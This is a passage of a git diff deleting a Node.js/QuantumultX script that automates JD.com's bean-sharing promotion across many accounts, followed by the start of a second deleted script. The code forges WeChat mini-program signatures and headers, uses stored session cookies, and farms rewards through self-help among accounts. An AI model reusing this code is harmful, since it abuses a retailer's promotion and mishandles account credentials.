https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_sendBeans.js, tag=送豆得豆, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true -================Loon============== -[Script] -cron "45 1,12 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_sendBeans.js,tag=送豆得豆 -===============Surge================= -送豆得豆 = type=cron,cronexp="45 1,12 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_sendBeans.js -============小火箭========= -送豆得豆 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_sendBeans.js, cronexpr="45 1,12 * * *", timeout=3600, enable=true - */ -const $ = new Env('送豆得豆'); -const notify = $.isNode() ? require('./sendNotify') : ''; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], isLoginInfo = {}; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }); - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata("CookieJD"), $.getdata("CookieJD2"), ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); -} -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - $.activityId = ''; - $.completeNumbers = ''; - console.log(`开始获取活动信息`); - for (let i = 0; (cookiesArr.length < 3 ? i < cookiesArr.length : i < 3) && $.activityId === ''; i++) { - $.cookie = cookiesArr[i]; - $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - $.isLogin = true; - $.nickName = '' - if (isLoginInfo[$.UserName] === false) { - - } else { - if (!isLoginInfo[$.UserName]) { - await TotalBean(); - isLoginInfo[$.UserName] = $.isLogin - } - } - if (!isLoginInfo[$.UserName]) continue - await getActivityInfo(); - } - if ($.activityId === '') { - console.log(`获取活动ID失败`); - return; - } - let openCount = Math.floor((Number(cookiesArr.length)-1)/Number($.completeNumbers)); - console.log(`\n共有${cookiesArr.length}个账号,前${openCount}个账号可以开团\n`); - $.openTuanList = []; - console.log(`前${openCount}个账号开始开团\n`); - for (let i = 0; i < cookiesArr.length && i < openCount; i++) { - $.cookie = cookiesArr[i]; - $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); - if (isLoginInfo[$.UserName] === false) { - - } else { - if (!isLoginInfo[$.UserName]) { - await TotalBean(); - isLoginInfo[$.UserName] = $.isLogin - } - } - if (!isLoginInfo[$.UserName]) continue - await openTuan(); - } - console.log('\n开团信息\n'+JSON.stringify($.openTuanList)); - console.log(`\n开始互助\n`); - let ckList = getRandomArrayElements(cookiesArr,cookiesArr.length); - for (let i = 0; i < ckList.length && $.openTuanList.length > 0; i++) { - $.cookie = ckList[i]; - $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - $.index = i + 1; - $.isLogin = true; - console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); - if (isLoginInfo[$.UserName] === false) { - - } else { - if (!isLoginInfo[$.UserName]) { - await TotalBean(); - isLoginInfo[$.UserName] = $.isLogin - } - } - if (!isLoginInfo[$.UserName]) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue; - } - await helpMain(); - } - console.log(`\n开始领取奖励\n`); - for (let i = 0; i < cookiesArr.length && i < openCount; i++) { - $.cookie = cookiesArr[i]; - $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - $.index = i + 1; - $.isLogin = true; - console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); - if (isLoginInfo[$.UserName] === false) { - - } else { - if (!isLoginInfo[$.UserName]) { - await TotalBean(); - isLoginInfo[$.UserName] = $.isLogin - } - } - if (!isLoginInfo[$.UserName]) continue - await rewardMain(); - } - for (let i = 0; i < cookiesArr.length; i++) { - $.cookie = cookiesArr[i]; - $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - $.index = i + 1; - $.isLogin = true; - $.nickName = '' - console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); - if (isLoginInfo[$.UserName] === false) { - - } else { - if (!isLoginInfo[$.UserName]) { - await TotalBean(); - isLoginInfo[$.UserName] = $.isLogin - } - } - if (!isLoginInfo[$.UserName]) continue - await myReward() - } -})().catch((e) => {$.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '')}).finally(() => {$.done();}); - -async function getActivityInfo(){ - $.activityList = []; - await getActivityList(); - if($.activityList.length === 0){ - return; - } - for (let i = 0; i < $.activityList.length; i++) { - if($.activityList[i].status !== 'NOT_BEGIN'){ - $.activityId = $.activityList[i].activeId; - $.activityCode = $.activityList[i].activityCode; - break; - } - } - await $.wait(3000); - $.detail = {}; - await getActivityDetail(); - if(JSON.stringify($.detail) === '{}'){ - console.log(`获取活动详情失败`); - return; - }else{ - console.log(`获取活动详情成功`); - } - $.completeNumbers = $.detail.activityInfo.completeNumbers; - console.log(`获取到的活动ID:${$.activityId},需要邀请${$.completeNumbers}人瓜分`); -} - -async function myReward(){ - return new Promise(async (resolve) => { - let lkt = new Date().getTime() - let lks = $.md5('' + 'q8DNJdpcfRQ69gIx' + lkt).toString() - let options = { - "url": `https://sendbeans.jd.com/common/api/bean/activity/myReward?itemsPerPage=10¤tPage=1&sendType=0&invokeKey=q8DNJdpcfRQ69gIx`, - "headers": { - "Host": "sendbeans.jd.com", - "Origin": "https://sendbeans.jd.com", - "Cookie": $.cookie, - "app-id": "h5", - "Connection": "keep-alive", - "Accept": "application/json, text/plain, */*", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - "Accept-Language": "zh-cn", - "Referer": "https://sendbeans.jd.com/dist/index.html", - "Accept-Encoding": "gzip, deflate, br", - "openId": "", - 'lkt': lkt, - 'lks': lks - } - }; - $.get(options, async (err, resp, data) => { - try { - data = JSON.parse(data); - if (data.success) { - let canReward = false - for (let key of Object.keys(data.datas)) { - let vo = data.datas[key] - if (vo.status === 3 && vo.type === 2) { - canReward = true - $.rewardRecordId = vo.id - await rewardBean() - $.rewardRecordId = '' - } - } - if (!canReward) console.log(`没有可领取奖励`) - }else{ - console.log(JSON.stringify(data)); - } - } catch (e) { - console.log(e); - } finally { - resolve(data); - } - }) - }) -} - -async function getActivityList(){ - return new Promise((resolve) => { - let lkt = new Date().getTime() - let lks = $.md5('' + 'q8DNJdpcfRQ69gIx' + lkt).toString() - let options = { - "url": `https://sendbeans.jd.com/common/api/bean/activity/get/entry/list/by/channel?channelId=14&channelType=H5&sendType=0&singleActivity=false&invokeKey=q8DNJdpcfRQ69gIx`, - "headers": { - "Host": "sendbeans.jd.com", - "Origin": "https://sendbeans.jd.com", - "Cookie": $.cookie, - "Connection": "keep-alive", - "Accept": "application/json, text/plain, */*", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - "Accept-Language": "zh-cn", - "Referer": "https://sendbeans.jd.com/dist/index.html", - "Accept-Encoding": "gzip, deflate, br", - "openId": "", - 'lkt': lkt, - 'lks': lks - } - }; - $.get(options, (err, resp, data) => { - try { - data = JSON.parse(data); - if (data.success) { - $.activityList = data.data.items; - }else{ - console.log(JSON.stringify(data)); - } - } catch (e) { - console.log(e); - } finally { - resolve(data); - } - }) - }) -} - -async function openTuan(){ - $.detail = {}; - $.rewardRecordId = ''; - await getActivityDetail(); - if(JSON.stringify($.detail) === '{}'){ - console.log(`获取活动详情失败`); - return; - }else{ - $.rewardRecordId = $.detail.rewardRecordId; - console.log(`获取活动详情成功`); - } - await $.wait(3000); - if(!$.rewardRecordId){ - if(!$.detail.invited){ - await invite(); - await $.wait(1000); - await getActivityDetail(); - await $.wait(3000); - $.rewardRecordId = $.detail.rewardRecordId; - console.log(`【京东账号${$.index}】${$.UserName} 瓜分ID:${$.rewardRecordId}`); - } - }else{ - console.log(`【京东账号${$.index}】${$.UserName} 瓜分ID:${$.rewardRecordId}`); - } - $.openTuanList.push({ - 'user':$.UserName, - 'rewardRecordId':$.rewardRecordId, - 'completed':$.detail.completed, - 'rewardOk':$.detail.rewardOk - }); -} - -async function helpMain(){ - $.canHelp = true; - for (let j = 0; j < $.openTuanList.length && $.canHelp; j++) { - $.oneTuanInfo = $.openTuanList[j]; - if( $.UserName === $.oneTuanInfo['user']){ - continue; - } - if( $.oneTuanInfo['completed']){ - continue; - } - console.log(`${$.UserName}去助力${$.oneTuanInfo['user']}`); - $.detail = {}; - $.rewardRecordId = ''; - await getActivityDetail(); - if(JSON.stringify($.detail) === '{}'){ - console.log(`获取活动详情失败`); - return; - }else{ - $.rewardRecordId = $.detail.rewardRecordId; - console.log(`获取活动详情成功`); - } - await $.wait(3000); - await help(); - await $.wait(2000); - } -} - -async function rewardMain(){ - $.detail = {}; - $.rewardRecordId = ''; - await getActivityDetail(); - if(JSON.stringify($.detail) === '{}'){ - console.log(`获取活动详情失败`); - return; - }else{ - $.rewardRecordId = $.detail.rewardRecordId; - console.log(`获取活动详情成功`); - } - await $.wait(3000); - if($.rewardRecordId && $.detail.completed && !$.detail.rewardOk){ - await rewardBean(); - await $.wait(2000); - }else if($.rewardRecordId && $.detail.completed && $.detail.rewardOk){ - console.log(`奖励已领取`); - }else{ - console.log(`未满足条件,不可领取奖励`); - } -} -async function rewardBean(){ - return new Promise((resolve) => { - let lkt = new Date().getTime() - let lks = $.md5('' + 'q8DNJdpcfRQ69gIx' + lkt).toString() - let options = { - "url": `https://draw.jdfcloud.com/common/api/bean/activity/sendBean?rewardRecordId=${$.rewardRecordId}&jdChannelId=&userSource=mp&appId=wxccb5c536b0ecd1bf&invokeKey=q8DNJdpcfRQ69gIx`, - "headers": { - 'content-type' : `application/json`, - 'Connection' : `keep-alive`, - 'Accept-Encoding' : `gzip,compress,br,deflate`, - 'App-Id' : `wxccb5c536b0ecd1bf`, - 'Lottery-Access-Signature' : `wxccb5c536b0ecd1bf1537237540544h79HlfU`, - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_7_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.13(0x18000d2a) NetType/WIFI Language/zh_CN", - 'openId' : ``, - 'Host' : `draw.jdfcloud.com`, - 'Referer' : `https://servicewechat.com/wxccb5c536b0ecd1bf/755/page-frame.html`, - 'cookie' : $.cookie, - 'lkt': lkt, - 'lks': lks - } - }; - $.get(options, (err, resp, data) => { - try { - data = JSON.parse(data); - if(data.success){ - console.log(`领取豆子奖励成功`); - }else{ - console.log(JSON.stringify(data)); - } - } catch (e) { - console.log(e); - } finally { - resolve(data); - } - }) - }); -} - -function getRandomArrayElements(arr, count) { - var shuffled = arr.slice(0), i = arr.length, min = i - count, temp, index; - while (i-- > min) { - index = Math.floor((i + 1) * Math.random()); - temp = shuffled[index]; - shuffled[index] = shuffled[i]; - shuffled[i] = temp; - } - return shuffled.slice(min); -} - -async function help() { - await new Promise((resolve) => { - let lkt = new Date().getTime() - let lks = $.md5('' + 'q8DNJdpcfRQ69gIx' + lkt + $.activityCode).toString() - let options = { - "url": `https://draw.jdfcloud.com/common/api/bean/activity/participate?activityCode=${$.activityCode}&activityId=${$.activityId}&inviteUserPin=${encodeURIComponent($.oneTuanInfo['user'])}&invokeKey=q8DNJdpcfRQ69gIx×tap=${Date.now()}`, - "headers": { - 'content-type' : `application/json`, - 'Connection' : `keep-alive`, - 'Accept-Encoding' : `gzip,compress,br,deflate`, - 'App-Id' : `wxccb5c536b0ecd1bf`, - 'Lottery-Access-Signature' : `wxccb5c536b0ecd1bf1537237540544h79HlfU`, - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_7_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.13(0x18000d2a) NetType/WIFI Language/zh_CN", - 'openId' : ``, - 'Host' : `draw.jdfcloud.com`, - 'Referer' : `https://servicewechat.com/wxccb5c536b0ecd1bf/755/page-frame.html`, - 'cookie' : $.cookie, - 'lkt': lkt, - 'lks': lks - } - }; - $.post(options, (err, resp, res) => { - try { - if (res) { - res = JSON.parse(res); - if(res.data.result === 5){ - $.oneTuanInfo['completed'] = true; - }else if(res.data.result === 0 || res.data.result === 1){ - $.canHelp = false; - } - console.log(JSON.stringify(res)); - } - } catch (e) { - console.log(e); - } finally { - resolve(res); - } - }) - }); -} - -async function invite() { - let lkt = new Date().getTime() - let lks = $.md5('' + 'q8DNJdpcfRQ69gIx' + lkt + $.activityCode).toString() - const url = `https://draw.jdfcloud.com/common/api/bean/activity/invite?activityCode=${$.activityCode}&openId=&activityId=${$.activityId}&userSource=mp&formId=123&jdChannelId=&fp=&appId=wxccb5c536b0ecd1bf&invokeKey=q8DNJdpcfRQ69gIx`; - const method = `POST`; - const headers = { - 'content-type' : `application/json`, - 'Connection' : `keep-alive`, - 'Accept-Encoding' : `gzip,compress,br,deflate`, - 'App-Id' : `wxccb5c536b0ecd1bf`, - 'Lottery-Access-Signature' : `wxccb5c536b0ecd1bf1537237540544h79HlfU`, - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_7_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.13(0x18000d2a) NetType/WIFI Language/zh_CN", - 'openId' : ``, - 'Host' : `draw.jdfcloud.com`, - 'Referer' : `https://servicewechat.com/wxccb5c536b0ecd1bf/755/page-frame.html`, - 'cookie' : $.cookie, - 'lkt': lkt, - 'lks': lks - }; - const body = `{}`; - const myRequest = { - url: url, - method: method, - headers: headers, - body: body - }; - return new Promise(async resolve => { - $.post(myRequest, (err, resp, data) => { - try { - data = JSON.parse(data); - if(data.success){ - console.log(`发起瓜分成功`); - }else{ - console.log(JSON.stringify(data)); - } - } catch (e) { - console.log(data); - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -async function getActivityDetail() { - let lkt = new Date().getTime() - let lks = $.md5('' + 'q8DNJdpcfRQ69gIx' + lkt + $.activityCode).toString() - const url = `https://draw.jdfcloud.com/common/api/bean/activity/detail?activityCode=${$.activityCode}&activityId=${$.activityId}&userOpenId=×tap=${Date.now()}&userSource=mp&jdChannelId=&appId=wxccb5c536b0ecd1bf&invokeKey=q8DNJdpcfRQ69gIx`; - const method = `GET`; - const headers = { - 'cookie' : $.cookie, - 'openId' : ``, - 'Connection' : `keep-alive`, - 'App-Id' : `wxccb5c536b0ecd1bf`, - 'content-type' : `application/json`, - 'Host' : `draw.jdfcloud.com`, - 'Accept-Encoding' : `gzip,compress,br,deflate`, - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_7_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.13(0x18000d2a) NetType/WIFI Language/zh_CN", - 'Lottery-Access-Signature' : `wxccb5c536b0ecd1bf1537237540544h79HlfU`, - 'Referer' : `https://servicewechat.com/wxccb5c536b0ecd1bf/755/page-frame.html`, - 'lkt': lkt, - 'lks': lks - }; - const myRequest = {url: url, method: method, headers: headers}; - return new Promise(async resolve => { - $.get(myRequest, (err, resp, data) => { - try { - //console.log(data); - data = JSON.parse(data); - if(data.success){ - $.detail = data.data; - } - } catch (e) { - //console.log(data); - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function TotalBean() { - return new Promise(async resolve => { - const options = { - url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", - headers: { - Host: "wq.jd.com", - Accept: "*/*", - Connection: "keep-alive", - Cookie: $.cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - "Accept-Language": "zh-cn", - "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - "Accept-Encoding": "gzip, deflate, br" - } - } - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 1001) { - $.isLogin = false; //cookie过期 - return; - } - if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - } - } else { - console.log('京东服务器返回空数据'); - } - } - } catch (e) { - $.logErr(e) - } finally { - resolve(); - } - }) - }) -} -// md5 -!function(n){function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e>5]>>>t%32&255)}return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<16&&(o=i(o,8*n.length)),r=0;r<16;r+=1){u[r]=909522486^o[r],c[r]=1549556828^o[r]}return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r>>4&15)+"0123456789abcdef".charAt(15&t)}return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}$.md5=A}(this); -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_sgmh.js b/jd_sgmh.js deleted file mode 100644 index 4607a2536..000000000 --- a/jd_sgmh.js +++ /dev/null @@ -1,384 +0,0 @@ -/* -闪购盲盒 -长期活动,一人每天5次助力机会,10次被助机会,被助力一次获得一次抽奖机会,前几次必中京豆 -修改自 @yangtingxiao 抽奖机脚本 -活动入口:京东APP首页-闪购-闪购盲盒 -网页地址:https://h5.m.jd.com/babelDiy/Zeus/3vzA7uGuWL2QeJ5UeecbbAVKXftQ/index.html -更新地址:https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_sgmh.js -已支持IOS双京东账号, Node.js支持N个京东账号 -脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js -============Quantumultx=============== -[task_local] -#闪购盲盒 -20 8 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_sgmh.js, tag=闪购盲盒, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true -================Loon============== -[Script] -cron "20 8 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_sgmh.js, tag=闪购盲盒 -===============Surge================= -闪购盲盒 = type=cron,cronexp="20 8 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_sgmh.js -============小火箭========= -闪购盲盒 = 